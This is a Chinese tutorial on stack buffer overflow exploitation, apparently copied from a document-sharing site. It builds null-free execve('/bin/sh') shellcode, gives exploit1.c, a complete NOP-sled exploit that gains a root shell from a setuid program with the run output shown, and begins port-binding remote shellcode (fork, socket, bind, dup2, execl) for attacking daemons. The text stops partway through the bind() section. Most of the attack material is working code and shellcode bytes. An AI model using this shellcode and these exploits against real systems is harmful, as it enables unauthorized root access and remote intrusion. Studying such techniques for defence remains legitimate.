堆棧溢出技術(shù)從入門到精通_第1頁
堆棧溢出技術(shù)從入門到精通_第2頁
堆棧溢出技術(shù)從入門到精通_第3頁
堆棧溢出技術(shù)從入門到精通_第4頁
堆棧溢出技術(shù)從入門到精通_第5頁
已閱讀5頁,還剩72頁未讀, 繼續(xù)免費(fèi)閱讀

下載本文檔

版權(quán)說明:本文檔由用戶提供并上傳,收益歸屬內(nèi)容提供方,若內(nèi)容存在侵權(quán),請進(jìn)行舉報或認(rèn)領(lǐng)

文檔簡介

堆棧溢出技術(shù)從入門到精通本講的預(yù)備知識:一方面你應(yīng)當(dāng)了解intel匯編語言,熟悉寄存器的組成和功能。你必須有堆棧和存儲分派方面的基礎(chǔ)知識,有關(guān)這方面的計算機(jī)書籍很多,我將只是簡樸闡述原理,著重在應(yīng)用。另一方面,你應(yīng)當(dāng)了解linux,本講中我們的例子將在linux上開發(fā)。1:一方面復(fù)習(xí)一下基礎(chǔ)知識。從物理上講,堆棧是就是一段連續(xù)分派的內(nèi)存空間。在一個程序中,會聲明各種變量。靜態(tài)全局變量是位于數(shù)據(jù)段并且在程序開始運(yùn)營的時候被加載。而程序的動態(tài)的局部變量則分派在堆棧里面。從操作上來講,堆棧是一個先入后出的隊(duì)列。他的生長方向與內(nèi)存的生長方向正好相反。我們規(guī)定內(nèi)存的生長方向?yàn)橄蛏?,則棧的生長方向?yàn)橄蛳?。壓棧的操作push=ESP-4,出棧的操作是pop=ESP+4.換句話說,堆棧中老的值,其內(nèi)存地址,反而比新的值要大。請牢牢記住這一點(diǎn),由于這是堆棧溢出的基本理論依據(jù)。在一次函數(shù)調(diào)用中,堆棧中將被依次壓入:參數(shù),返回地址,EBP。假如函數(shù)有局部變量,接下來,就在堆棧中開辟相應(yīng)的空間以構(gòu)造變量。函數(shù)執(zhí)行結(jié)束,這些局部變量的內(nèi)容將被丟失。但是不被清除。在函數(shù)返回的時候,彈出EBP,恢復(fù)堆棧到函數(shù)調(diào)用的地址,彈出返回地址到EIP以繼續(xù)執(zhí)行程序。在C語言程序中,參數(shù)的壓棧順序是反向的。比如func(a,b,c)。在參數(shù)入棧的時候,是:先壓c,再壓b,最后a.在取參數(shù)的時候,由于棧的先入后出,先取棧頂?shù)腶,再取b,最后取c。(PS:假如你看不懂上面這段概述,請你去看以看關(guān)于堆棧的書籍,一般的匯編語言書籍都會具體的討論堆棧,必須弄懂它,你才干進(jìn)行下面的學(xué)習(xí))2:好了,繼續(xù),讓我們來看一看什么是堆棧溢出。2.1:運(yùn)營時的堆棧分派堆棧溢出就是不顧堆棧中分派的局部數(shù)據(jù)塊大小,向該數(shù)據(jù)塊寫入了過多的數(shù)據(jù),導(dǎo)致數(shù)據(jù)越界。結(jié)果覆蓋了老的堆棧數(shù)據(jù)。比如有下面一段程序:程序一:#include<stdio.h>intmain(){charname[8];printf("Pleasetypeyourname:");gets(name);printf("Hello,%s!",name);return0;}編譯并且執(zhí)行,我們輸入ipxodi,就會輸出Hello,ipxodi!。程序運(yùn)營中,堆棧是怎么操作的呢?在main函數(shù)開始運(yùn)營的時候,堆棧里面將被依次放入返回地址,EBP。我們用gcc-S來獲得匯編語言輸出,可以看到main函數(shù)的開頭部分相應(yīng)如下語句:pushl%ebpmovl%esp,%ebpsubl$8,%esp一方面他把EBP保存下來,,然后EBP等于現(xiàn)在的ESP,這樣EBP就可以用來訪問本函數(shù)的局部變量。之后ESP減8,就是堆棧向上增長8個字節(jié),用來存放name[]數(shù)組?,F(xiàn)在堆棧的布局如下:內(nèi)存底部內(nèi)存頂部nameEBPret<------[][][]^&name棧頂部堆棧底部執(zhí)行完gets(name)之后,堆棧如下:內(nèi)存底部內(nèi)存頂部nameEBPret<------[ipxodi\0][][]^&name棧頂部堆棧底部最后,main返回,彈出ret里的地址,賦值給EIP,CPU繼續(xù)執(zhí)行EIP所指向的指令。2.2:堆棧溢出好,看起來一切順利。我們再執(zhí)行一次,輸入ipxodiAAAAAAAAAAAAAAA,執(zhí)行完gets(name)之后,堆棧如下:內(nèi)存底部內(nèi)存頂部nameEBPret<------[ipxodiAA][AAAA][AAAA].......^&name棧頂部堆棧底部由于我們輸入的name字符串太長,name數(shù)組容納不下,只好向內(nèi)存頂部繼續(xù)寫‘A’。由于堆棧的生長方向與內(nèi)存的生長方向相反,這些‘A’覆蓋了堆棧的老的元素。如圖我們可以發(fā)現(xiàn),EBP,ret都已經(jīng)被‘A’覆蓋了。在main返回的時候,就會把‘AAAA’的ASCII碼:0x41414141作為返回地址,CPU會試圖執(zhí)行0x41414141處的指令,結(jié)果出現(xiàn)錯誤。這就是一次堆棧溢出。3:如何運(yùn)用堆棧溢出我們已經(jīng)制造了一次堆棧溢出。其原理可以概括為:由于字符串解決函數(shù)(gets,strcpy等等)沒有對數(shù)組越界加以監(jiān)視和限制,我們運(yùn)用字符數(shù)組寫越界,覆蓋堆棧中的老元素的值,就可以修改返回地址。在上面的例子中,這導(dǎo)致CPU去訪問一個不存在的指令,結(jié)果犯錯。事實(shí)上,當(dāng)堆棧溢出的時候,我們已經(jīng)完全的控制了這個程序下一步的動作。假如我們用一個實(shí)際存在指令地址來覆蓋這個返回地址,CPU就會轉(zhuǎn)而執(zhí)行我們的指令。在UINX系統(tǒng)中,我們的指令可以執(zhí)行一個shell,這個shell將獲得和被我們堆棧溢出的程序相同的權(quán)限。假如這個程序是setuid的,那么我們就可以獲得rootshell。下一講將敘述如何書寫一個shellcode。------------------------------------------------------------如何書寫一個shellcode一:shellcode基本算法分析在程序中,執(zhí)行一個shell的程序是這樣寫的:shellcode.c-----------------------------------------------------------------------------#include<stdio.h>voidmain(){char*name[2];name[0]="/bin/sh"name[1]=NULL;execve(name[0],name,NULL);}------------------------------------------------------------------------------execve函數(shù)將執(zhí)行一個程序。他需要程序的名字地址作為第一個參數(shù)。一個內(nèi)容為該程序的argv[i](argv[n-1]=0)的指針數(shù)組作為第二個參數(shù),以及(char*)0作為第三個參數(shù)。我們來看以看execve的匯編代碼:[nkl10]$Content$nbsp;gcc-oshellcode-staticshellcode.c[nkl10]$Content$nbsp;gdbshellcode(gdb)disassemble__execveDumpofassemblercodeforfunction__execve:0x80002bc<__execve>:pushl%ebp;0x80002bd<__execve+1>:movl%esp,%ebp;上面是函數(shù)頭。0x80002bf<__execve+3>:pushl%ebx;保存ebx0x80002c0<__execve+4>:movl$0xb,%eax;eax=0xb,eax指明第幾號系統(tǒng)調(diào)用。0x80002c5<__execve+9>:movl0x8(%ebp),%ebx;ebp+8是第一個參數(shù)"/bin/sh\0"0x80002c8<__execve+12>:movl0xc(%ebp),%ecx;ebp+12是第二個參數(shù)name數(shù)組的地址0x80002cb<__execve+15>:movl0x10(%ebp),%edx;ebp+16是第三個參數(shù)空指針的地址。;name[2-1]內(nèi)容為NULL,用來存放返回值。0x80002ce<__execve+18>:int$0x80;執(zhí)行0xb號系統(tǒng)調(diào)用(execve)0x80002d0<__execve+20>:movl%eax,%edx;下面是返回值的解決就沒有用了。0x80002d2<__execve+22>:testl%edx,%edx0x80002d4<__execve+24>:jnl0x80002e6<__execve+42>0x80002d6<__execve+26>:negl%edx0x80002d8<__execve+28>:pushl%edx0x80002d9<__execve+29>:call0x8001a34<__normal_errno_location>0x80002de<__execve+34>:popl%edx0x80002df<__execve+35>:movl%edx,(%eax)0x80002e1<__execve+37>:movl$0xffffffff,%eax0x80002e6<__execve+42>:popl%ebx0x80002e7<__execve+43>:movl%ebp,%esp0x80002e9<__execve+45>:popl%ebp0x80002ea<__execve+46>:ret0x80002eb<__execve+47>:nopEndofassemblerdump.通過以上的分析,可以得到如下的精簡指令算法:movl$execve的系統(tǒng)調(diào)用號,%eaxmovl"bin/sh\0"的地址,%ebxmovlname數(shù)組的地址,%ecxmovlname[n-1]的地址,%edxint$0x80;執(zhí)行系統(tǒng)調(diào)用(execve)當(dāng)execve執(zhí)行成功后,程序shellcode就會退出,/bin/sh將作為子進(jìn)程繼續(xù)執(zhí)行??墒牵偃缥覀兊膃xecve執(zhí)行失敗,(比如沒有/bin/sh這個文獻(xiàn)),CPU就會繼續(xù)執(zhí)行后續(xù)的指令,結(jié)果不知道跑到哪里去了。所以必須再執(zhí)行一個exit()系統(tǒng)調(diào)用,結(jié)束shellcode.c的執(zhí)行。我們來看以看exit(0)的匯編代碼:(gdb)disassemble_exitDumpofassemblercodeforfunction_exit:0x800034c<_exit>:pushl%ebp0x800034d<_exit+1>:movl%esp,%ebp0x800034f<_exit+3>:pushl%ebx0x8000350<_exit+4>:movl$0x1,%eax;1號系統(tǒng)調(diào)用0x8000355<_exit+9>:movl0x8(%ebp),%ebx;ebx為參數(shù)00x8000358<_exit+12>:int$0x80;引發(fā)系統(tǒng)調(diào)用0x800035a<_exit+14>:movl0xfffffffc(%ebp),%ebx0x800035d<_exit+17>:movl%ebp,%esp0x800035f<_exit+19>:popl%ebp0x8000360<_exit+20>:ret0x8000361<_exit+21>:nop0x8000362<_exit+22>:nop0x8000363<_exit+23>:nopEndofassemblerdump.看來exit(0)〕的匯編代碼更加簡樸:movl$0x1,%eax;1號系統(tǒng)調(diào)用movl0,%ebx;ebx為exit的參數(shù)0int$0x80;引發(fā)系統(tǒng)調(diào)用那么總結(jié)一下,合成的匯編代碼為:movl$execve的系統(tǒng)調(diào)用號,%eaxmovl"bin/sh\0"的地址,%ebxmovlname數(shù)組的地址,%ecxmovlname[n-1]的地址,%edxint$0x80;執(zhí)行系統(tǒng)調(diào)用(execve)movl$0x1,%eax;1號系統(tǒng)調(diào)用movl0,%ebx;ebx為exit的參數(shù)0int$0x80;執(zhí)行系統(tǒng)調(diào)用(exit)-----------------------------------------------------------二:實(shí)現(xiàn)一個shellcode好,我們來實(shí)現(xiàn)這個算法。一方面我們必須有一個字符串“/bin/sh”,還得有一個name數(shù)組。我們可以構(gòu)造它們出來,可是,在shellcode中如何知道它們的地址呢?每一次程序都是動態(tài)加載,字符串和name數(shù)組的地址都不是固定的。通過JMP和call的結(jié)合,黑客們巧妙的解決了這個問題。------------------------------------------------------------------------------jmpcall的偏移地址#2bytespopl%esi#1byte//popl出來的是string的地址。movl%esi,array-offset(%esi)#3bytes//在string+8處構(gòu)造name數(shù)組,//name[0]放string的地址movb$0x0,nullbyteoffset(%esi)#4bytes//string+7處放0作為string的結(jié)尾。movl$0x0,null-offset(%esi)#7bytes//name[1]放0。movl$0xb,%eax#5bytes//eax=0xb是execve的syscall代碼。movl%esi,%ebx#2bytes//ebx=string的地址lealarray-offset,(%esi),%ecx#3bytes//ecx=name數(shù)組的開始地址lealnull-offset(%esi),%edx#3bytes//edx=name〔1]的地址int$0x80#2bytes//int0x80是syscallmovl$0x1,%eax#5bytes//eax=0x1是exit的syscall代碼movl$0x0,%ebx#5bytes//ebx=0是exit的返回值int$0x80#2bytes//int0x80是syscallcallpopl的偏移地址#5bytes//這里放call,string的地址就會作//為返回地址壓棧。/bin/sh字符串------------------------------------------------------------------------------一方面使用JMP相對地址來跳轉(zhuǎn)到call,執(zhí)行完call指令,字符串/bin/sh的地址將作為call的返回地址壓入堆?!,F(xiàn)在來到poplesi,把剛剛壓入棧中的字符串地址取出來,就獲得了字符串的真實(shí)地址。然后,在字符串的第8個字節(jié)賦0,作為串的結(jié)尾。后面8個字節(jié),構(gòu)造name數(shù)組(兩個整數(shù),八個字節(jié))。我們可以寫shellcode了。先寫出匯編源程序。shellcodeasm.c------------------------------------------------------------------------------voidmain(){__asm__("jmp0x2a#3bytespopl%esi#1bytemovl%esi,0x8(%esi)#3bytesmovb$0x0,0x7(%esi)#4bytesmovl$0x0,0xc(%esi)#7bytesmovl$0xb,%eax#5bytesmovl%esi,%ebx#2bytesleal0x8(%esi),%ecx#3bytesleal0xc(%esi),%edx#3bytesint$0x80#2bytesmovl$0x1,%eax#5bytesmovl$0x0,%ebx#5bytesint$0x80#2bytescall-0x2f#5bytes.string\"/bin/sh\"#8bytes");}------------------------------------------------------------------------------編譯后,用gdb的b/bx〔地址〕命令可以得到十六進(jìn)制的表達(dá)。下面,寫出測試程序如下:(注意,這個test程序是測試shellcode的基本程序)test.c------------------------------------------------------------------------------charshellcode[]="\xeb\x2a\x5e\x89\x76\x08\xc6\x46\x07\x00\xc7\x46\x0c\x00\x00\x00""\x00\xb8\x0b\x00\x00\x00\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80""\xb8\x01\x00\x00\x00\xbb\x00\x00\x00\x00\xcd\x80\xe8\xd1\xff\xff""\xff\x2f\x62\x69\x6e\x2f\x73\x68\x00\x89\xec\x5d\xc3"voidmain(){int*ret;ret=(int*)&ret+2;//ret等于main()的返回地址//(+2是由于:有pushlebp,否則加1就可以了。)(*ret)=(int)shellcode;//修改main()的返回地址為shellcode的開始地址。}------------------------------------------------------------------------------------------------------------------------------------------------------------[nkl10]$Content$nbsp;gcc-otesttest.c[nkl10]$Content$nbsp;./test$Content$nbsp;exit[nkl10]$Content$nbsp;------------------------------------------------------------------------------我們通過一個shellcode數(shù)組來存放shellcode,當(dāng)我們把程序(test.c)的返回地址ret設(shè)立成shellcode數(shù)組的開始地址時,程序在返回的時候就會去執(zhí)行我們的shellcode,從而我們得到了一個shell。運(yùn)營結(jié)果,得到了bsh的提醒符$,表白成功的開了一個shell。這里有必要解釋的是,我們把shellcode作為一個全局變量開在了數(shù)據(jù)段而不是作為一段代碼。是由于在操作系統(tǒng)中,程序代碼段的內(nèi)容是具有只讀屬性的。不能修改。而我們的代碼中movl%esi,0x8(%esi)等語句都修改了代碼的一部分,所以不能放在代碼段。這個shellcode可以了嗎?很遺憾,還差了一點(diǎn)。大家回想一下,在堆棧溢出中,關(guān)鍵在于字符串?dāng)?shù)組的寫越界。但是,gets,strcpy等字符串函數(shù)在解決字符串的時候,以"\0"為字符串結(jié)尾。遇\0就結(jié)束了寫操作。而我們的shellcode串中有大量的\0字符。因此,對于gets(name)來說,上面的shellcode是不可行的。我們的shellcode是不能有\(zhòng)0字符出現(xiàn)的。因此,有些指令需要修改一下:舊的指令新的指令--------------------------------------------------------movb$0x0,0x7(%esi)xorl%eax,%eaxmolv$0x0,0xc(%esi)movb%eax,0x7(%esi)movl%eax,0xc(%esi)--------------------------------------------------------movl$0xb,%eaxmovb$0xb,%al--------------------------------------------------------movl$0x1,%eaxxorl%ebx,%ebxmovl$0x0,%ebxmovl%ebx,%eaxinc%eax--------------------------------------------------------最后的shellcode為:----------------------------------------------------------------------------charshellcode[]=00"\xeb\x1f"/*jmp0x1f*/02"\x5e"/*popl%esi*/03"\x89\x76\x08"/*movl%esi,0x8(%esi)*/06"\x31\xc0"/*xorl%eax,%eax*/08"\x88\x46\x07"/*movb%eax,0x7(%esi)*/0b"\x89\x46\x0c"/*movl%eax,0xc(%esi)*/0e"\xb0\x0b"/*movb$0xb,%al*/10"\x89\xf3"/*movl%esi,%ebx*/12"\x8d\x4e\x08"/*leal0x8(%esi),%ecx*/15"\x8d\x56\x0c"/*leal0xc(%esi),%edx*/18"\xcd\x80"/*int$0x80*/1a"\x31\xdb"/*xorl%ebx,%ebx*/1c"\x89\xd8"/*movl%ebx,%eax*/1e"\x40"/*inc%eax*/1f"\xcd\x80"/*int$0x80*/21"\xe8\xdc\xff\xff\xff"/*call-0x24*/26"/bin/sh"/*.string\"/bin/sh\"*/------------------------------------------------------------------------三:運(yùn)用堆棧溢出獲得shell好了,現(xiàn)在我們已經(jīng)制造了一次堆棧溢出,寫好了一個shellcode。準(zhǔn)備工作都已經(jīng)作完,我們把兩者結(jié)合起來,就寫出一個運(yùn)用堆棧溢出獲得shell的程序。overflow1.c------------------------------------------------------------------------------charshellcode[]="\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b""\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd""\x80\xe8\xdc\xff\xff\xff/bin/sh"charlarge_string[128];voidmain(){charbuffer[96];inti;long*long_ptr=(long*)large_string;for(i=0;i<32;i++)*(long_ptr+i)=(int)buffer;for(i=0;i<strlen(shellcode);i++)large_string[i]=shellcode[i];strcpy(buffer,large_string);}------------------------------------------------------------------------------在執(zhí)行完strcpy后,堆棧內(nèi)容如下所示:內(nèi)存底部內(nèi)存頂部bufferEBPret<------[SSS...SSSA][A][A]A..A^&buffer棧頂部堆棧底部注:S表達(dá)shellcode。A表達(dá)shellcode的地址。這樣,在執(zhí)行完strcpy后,overflow。c將從ret取出A作為返回地址,從而執(zhí)行了我們的shellcode。----------------------------------------------------------運(yùn)用堆棧溢出獲得shell現(xiàn)在讓我們進(jìn)入最刺激的一講,運(yùn)用別人的程序的堆棧溢出獲得rootshell。我們將面對一個有strcpy堆棧溢出漏洞的程序,運(yùn)用前面說過的方法來得到shell。回想一下前面所講,我們通過一個shellcode數(shù)組來存放shellcode,運(yùn)用程序中的strcpy函數(shù),把shellcode放到了程序的堆棧之中;我們制造了數(shù)組越界,用shellcode的開始地址覆蓋了程序(overflow.c)的返回地址,程序在返回的時候就會去執(zhí)行我們的shellcode,從而我們得到了一個shell。當(dāng)我們面對別人寫的程序時,為了讓他執(zhí)行我們的shellcode,同樣必須作這兩件事:1:把我們的shellcode提供應(yīng)他,讓他可以訪問shellcode。2:修改他的返回地址為shellcode的入口地址。為了做到這兩條,我們必須知道他的strcpy(buffer,ourshellcode)中,buffer的地址。由于當(dāng)我們把shellcode提供應(yīng)strcpy之后,buffer的開始地址就是shellcode的開始地址,我們必須用這個地址來覆蓋堆棧才成。這一點(diǎn)大家一定要明確。我們知道,對于操作系統(tǒng)來說,一個shell下的每一個程序的堆棧段開始地址都是相同的。我們可以寫一個程序,獲得運(yùn)營時的堆棧起始地址,這樣,我們就知道了目的程序堆棧的開始地址。下面這個函數(shù),用eax返回當(dāng)前程序的堆棧指針。(所有C函數(shù)的返回值都放在eax寄存器里面):------------------------------------------------------------------------------unsignedlongget_sp(void){__asm__("movl%esp,%eax");}------------------------------------------------------------------------------我們在知道了堆棧開始地址后,buffer相對于堆棧開始地址的偏移,是他程序員自己寫出來的程序決定的,我們不知道,只能靠猜測了。但是,一般的程序堆棧大約是幾K左右。所以,這個buffer與上面得到的堆棧地址,相差就在幾K之間。顯然猜地址這是一件很難的事情,從0試到10K,會把人累死的。前面我們用來覆蓋堆棧的溢出字符串為:SSSSSSSSSSSSAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA現(xiàn)在,為了提高命中率,我們對他進(jìn)行如下改善:用來溢出的字符串變?yōu)椋篘NNNNNNNNNNNNNNNSSSSSSSSSSSSSSSAAAAAAAAAAAAAAAAAAA其中:N為NOP.NOP指令意思是什么都不作,跳過一個CPU指令周期。在intel機(jī)器上,NOP指令的機(jī)器碼為0x90。S為shellcode。A為我們猜測的buffer的地址。這樣,A猜大了也可以落在N上,并且最終會執(zhí)行到S.這個改善大大提高了猜測的命中率,有時幾乎可以一次命中。:)))好了,枯燥的算法分析完了,下面就是運(yùn)用./vulnerable1的堆棧溢出漏洞來得到shell的程序:exploit1.c----------------------------------------------------------------------------#include<stdio.h>#include<stdlib.h>#defineOFFSET0#defineRET_POSITION1024#defineRANGE20#defineNOP0x90charshellcode[]="\xeb\x1f"/*jmp0x1f*/"\x5e"/*popl%esi*/"\x89\x76\x08"/*movl%esi,0x8(%esi)*/"\x31\xc0"/*xorl%eax,%eax*/"\x88\x46\x07"/*movb%eax,0x7(%esi)*/"\x89\x46\x0c"/*movl%eax,0xc(%esi)*/"\xb0\x0b"/*movb$0xb,%al*/"\x89\xf3"/*movl%esi,%ebx*/"\x8d\x4e\x08"/*leal0x8(%esi),%ecx*/"\x8d\x56\x0c"/*leal0xc(%esi),%edx*/"\xcd\x80"/*int$0x80*/"\x31\xdb"/*xorl%ebx,%ebx*/"\x89\xd8"/*movl%ebx,%eax*/"\x40"/*inc%eax*/"\xcd\x80"/*int$0x80*/"\xe8\xdc\xff\xff\xff"/*call-0x24*/"/bin/sh"/*.string\"/bin/sh\"*/unsignedlongget_sp(void){__asm__("movl%esp,%eax");}main(intargc,char**argv){charbuff[RET_POSITION+RANGE+1],*ptr;longaddr;unsignedlongsp;intoffset=OFFSET,bsize=RET_POSITION+RANGE+ALIGN+1;inti;if(argc>1)offset=atoi(argv[1]);sp=get_sp();addr=sp-offset;for(i=0;i<bsize;i+=4)*((long*)&(buff[i]))=addr;for(i=0;i<bsize-RANGE*2-strlen(shellcode)-1;i++)buff[i]=NOP;ptr=buff+bsize-RANGE*2-strlen(shellcode)-1;for(i=0;i<strlen(shellcode);i++)*(ptr++)=shellcode[i];buff[bsize-1]="\0"http://現(xiàn)在buff的內(nèi)容為//NNNNNNNNNNNNNNNSSSSSSSSSSSSSSSAAAAAAAAAAAAAAAAAAA\0printf("Jumpto0x%08x\n",addr);execl("./vulnerable1","vulnerable1",buff,0);}----------------------------------------------------------------------------execl用來執(zhí)行目的程序./vulnerable1,buff是我們精心制作的溢出字符串,作為./vulnerable1的參數(shù)提供。以下是執(zhí)行的結(jié)果:----------------------------------------------------------------------------[nkl10]$Content$nbsp;ls-lvulnerable1-rwsr-xr-x1rootrootxxxxjan1016:19vulnerable1*[nkl10]$Content$nbsp;ls-lexploit1-rwxr-xr-x1ipxodicinipxxxxOct1813:20exploit1*[nkl10]$Content$nbsp;./exploit1Jumpto0xbfffec64Segmentationfault[nkl10]$Content$nbsp;./exploit1500Jumpto0xbfffea70bash#whoamirootbash#----------------------------------------------------------------------------恭喜,恭喜,你獲得了rootshell。下一講,我們將進(jìn)一步探討shellcode的書寫。我們將討論一些很復(fù)雜的shellcode。--------------------------------------------------------------遠(yuǎn)程堆棧溢出我們用堆棧溢出襲擊守護(hù)進(jìn)程daemon時,原理和前面提到過的本地襲擊是相同的。我們必須提供應(yīng)目的daemon一個溢出字符串,里面包含了shellcode。希望敵人在復(fù)制(或者別的串解決操作)這個串的時候發(fā)生堆棧溢出,從而執(zhí)行我們的shellcode。普通的shellcode將啟動一個子進(jìn)程執(zhí)行sh,自己退出。對于我們這些遠(yuǎn)程的襲擊者來說,由于我們不在本地,這個sh我們并沒有得到。因此,對于遠(yuǎn)程使用者,我們傳過去的shellcode就必須承擔(dān)起打開一個socket,然后listen我們的連接,給我們一個遠(yuǎn)程shell的責(zé)任。如何開一個遠(yuǎn)程shell呢?我們先申請一個socketfd,使用30464(隨便,多少都行)作為這個socket連接的端口,bind他,然后在這個端口上等待連接listen。當(dāng)有連接進(jìn)來后,開一個子shell,把連接的clientfd作為子shell的stdin,stdout,stderr。這樣,我們遠(yuǎn)程的使用者就有了一個遠(yuǎn)程shell(跟telnet同樣啦)。下面就是這個算法的C實(shí)現(xiàn):opensocket.c----------------------------------------------------------------------------1#include<unistd.h>2#include<sys/socket.h>3#include<netinet/in.h>4intsoc,cli,soc_len;5structsockaddr_inserv_addr;6structsockaddr_incli_addr;7intmain()8{9if(fork()==0)10{11serv_addr.sin_family=AF_INET;12serv_addr.sin_addr.s_addr=htonl(INADDR_ANY);13serv_addr.sin_port=htons(30464);14soc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);15bind(soc,(structsockaddr*)&serv_addr,sizeof(serv_addr));16listen(soc,1);17soc_len=sizeof(cli_addr);18cli=accept(soc,(structsockaddr*)&cli_addr,&soc_len);19dup2(cli,0);20dup2(cli,1);21dup2(cli,2);22execl("/bin/sh","sh",0);23}24}----------------------------------------------------------------------------第9行的fork()函數(shù)創(chuàng)建了一個子進(jìn)程,對于父進(jìn)程fork()的返回值是子進(jìn)程的pid,對于子進(jìn)程,fork()的返回值是0.本程序中,父進(jìn)程執(zhí)行了一個fork就退出了,子進(jìn)程作為socket通信的執(zhí)行者繼續(xù)下面的操作。10到23行都是子進(jìn)程所作的事情。一方面調(diào)用socket獲得一個文獻(xiàn)描述符soc,然后調(diào)用bind()綁定30464端口,接下來開始監(jiān)聽listen().程序掛起在accept等待客戶連接。當(dāng)有客戶連接時,程序被喚醒,進(jìn)行accept,然后把自己的標(biāo)準(zhǔn)輸入,標(biāo)準(zhǔn)輸出,標(biāo)準(zhǔn)錯誤輸出重定向到客戶的文獻(xiàn)描述符上,開一個子sh,這樣,子shell繼承了這個進(jìn)程的文獻(xiàn)描述符,對于客戶來說,就是得到了一個遠(yuǎn)程shell。--------------------------看懂了嗎?嗯,對,這是一個比較簡樸的socket程序,很好理解的。好,我們使用gdb來反編譯上面的程序:[nkl10]$Content$nbsp;gcc-oopensocket-staticopensocket.c[nkl10]$Content$nbsp;gdbopensocketGNUgdb4.17Copyright1998FreeSoftwareFoundation,Inc.GDBisfreesoftware,coveredbytheGNUGeneralPublicLicense,andyouarewelcometochangeitand/ordistributecopiesofitundercertainconditions.Type"showcopying"toseetheconditions.ThereisabsolutelynowarrantyforGDB.Type"showwarranty"fordetails.ThisGDBwasconfiguredas"i386-redhat-linux"...(gdb)disassembleforkDumpofassemblercodeforfunctionfork:0x804ca90<fork>:movl$0x2,%eax0x804ca95<fork+5>:int$0x800x804ca97<fork+7>:cmpl$0xfffff001,%eax0x804ca9c<fork+12>:jae0x804cdc0<__syscall_error>0x804caa2<fork+18>:ret0x804caa3<fork+19>:nop0x804caa4<fork+20>:nop0x804caa5<fork+21>:nop0x804caa6<fork+22>:nop0x804caa7<fork+23>:nop0x804caa8<fork+24>:nop0x804caa9<fork+25>:nop0x804caaa<fork+26>:nop0x804caab<fork+27>:nop0x804caac<fork+28>:nop0x804caad<fork+29>:nop0x804caae<fork+30>:nop0x804caaf<fork+31>:nopEndofassemblerdump.(gdb)disassemblesocketDumpofassemblercodeforfunctionsocket:0x804cda0<socket>:movl%ebx,%edx0x804cda2<socket+2>:movl$0x66,%eax0x804cda7<socket+7>:movl$0x1,%ebx0x804cdac<socket+12>:leal0x4(%esp,1),%ecx0x804cdb0<socket+16>:int$0x800x804cdb2<socket+18>:movl%edx,%ebx0x804cdb4<socket+20>:cmpl$0xffffff83,%eax0x804cdb7<socket+23>:jae0x804cdc0<__syscall_error>0x804cdbd<socket+29>:ret0x804cdbe<socket+30>:nop0x804cdbf<socket+31>:nopEndofassemblerdump.(gdb)disassemblebindDumpofassemblercodeforfunctionbind:0x804cd60<bind>:movl%ebx,%edx0x804cd62<bind+2>:movl$0x66,%eax0x804cd67<bind+7>:movl$0x2,%ebx0x804cd6c<bind+12>:leal0x4(%esp,1),%ecx0x804cd70<bind+16>:int$0x800x804cd72<bind+18>:movl%edx,%ebx0x804cd74<bind+20>:cmpl$0xffffff83,%eax0x804cd77<bind+23>:jae0x804cdc0<__syscall_error>0x804cd7d<bind+29>:ret0x804cd7e<bind+30>:nop0x804cd7f<bind+31>:nopEndofassemblerdump.(gdb)disassemblelistenDumpofassemblercodeforfunctionlisten:0x804cd80<listen>:movl%ebx,%edx0x804cd82<listen+2>:movl$0x66,%eax0x804cd87<listen+7>:movl$0x4,%ebx0x804cd8c<listen+12>:leal0x4(%esp,1),%ecx0x804cd90<listen+16>:int$0x800x804cd92<listen+18>:movl%edx,%ebx0x804cd94<listen+20>:cmpl$0xffffff83,%eax0x804cd97<listen+23>:jae0x804cdc0<__syscall_error>0x804cd9d<listen+29>:ret0x804cd9e<listen+30>:nop0x804cd9f<listen+31>:nopEndofassemblerdump.(gdb)disassembleacceptDumpofassemblercodeforfunction__accept:0x804cd40<__accept>:movl%ebx,%edx0x804cd42<__accept+2>:movl$0x66,%eax0x804cd47<__accept+7>:movl$0x5,%ebx0x804cd4c<__accept+12>:leal0x4(%esp,1),%ecx0x804cd50<__accept+16>:int$0x800x804cd52<__accept+18>:movl%edx,%ebx0x804cd54<__accept+20>:cmpl$0xffffff83,%eax0x804cd57<__accept+23>:jae0x804cdc0<__syscall_error>0x804cd5d<__accept+29>:ret0x804cd5e<__accept+30>:nop0x804cd5f<__accept+31>:nopEndofassemblerdump.(gdb)disassembledup2Dumpofassemblercodeforfunctiondup2:0x804cbe0<dup2>:movl%ebx,%edx0x804cbe2<dup2+2>:movl0x8(%esp,1),%ecx0x804cbe6<dup2+6>:movl0x4(%esp,1),%ebx0x804cbea<dup2+10>:movl$0x3f,%eax0x804cbef<dup2+15>:int$0x800x804cbf1<dup2+17>:movl%edx,%ebx0x804cbf3<dup2+19>:cmpl$0xfffff001,%eax0x804cbf8<dup2+24>:jae0x804cdc0<__syscall_error>0x804cbfe<dup2+30>:ret0x804cbff<dup2+31>:nopEndofassemblerdump.現(xiàn)在可以寫上面c代碼的匯編語句了。fork()的匯編代碼----------------------------------------------------------------------------charcode[]="\x31\xc0"/*xorl%eax,%eax*/"\xb0\x02"/*movb$0x2,%al*/"\xcd\x80"/*int$0x80*/----------------------------------------------------------------------------socket(2,1,6)的匯編代碼注:AF_INET=2,SOCK_STREAM=1,IPPROTO_TCP=6----------------------------------------------------------------------------/*socket使用66號系統(tǒng)調(diào)用,1號子調(diào)用。*//*他使用一段內(nèi)存塊來傳遞參數(shù)2,1,6。*//*%ecx里面為這個內(nèi)存塊的地址指針.*/charcode[]="\x31\xc0"/*xorl%eax,%eax*/"\x31\xdb"/*xorl%ebx,%ebx*/"\x89\xf1"/*movl%esi,%ecx*/"\xb0\x02"/*movb$0x2,%al*/"\x89\x06"/*movl%eax,(%esi)*//*第一個參數(shù)*//*%esi指向一段未使用的內(nèi)存空間*/"\xb0\x01"/*movb$0x1,%al*/"\x89\x46\x04"/*movl%eax,0x4(%esi)*//*第二個參數(shù)*/"\xb0\x06"/*movb$0x6,%al*/"\x89\x46\x08"/*movl%eax,0x8(%esi)*//*第三個參數(shù).*/"\xb0\x66"/*movb$0x66,%al*/"\xb3\x01"/*movb$0x1,%bl*/"\xcd\x80"/*int$0x80*/----------------------------------------------------------------------------bind(soc,(structsockaddr*)&serv_addr,0x10)的匯編代碼---------------------------------------------------------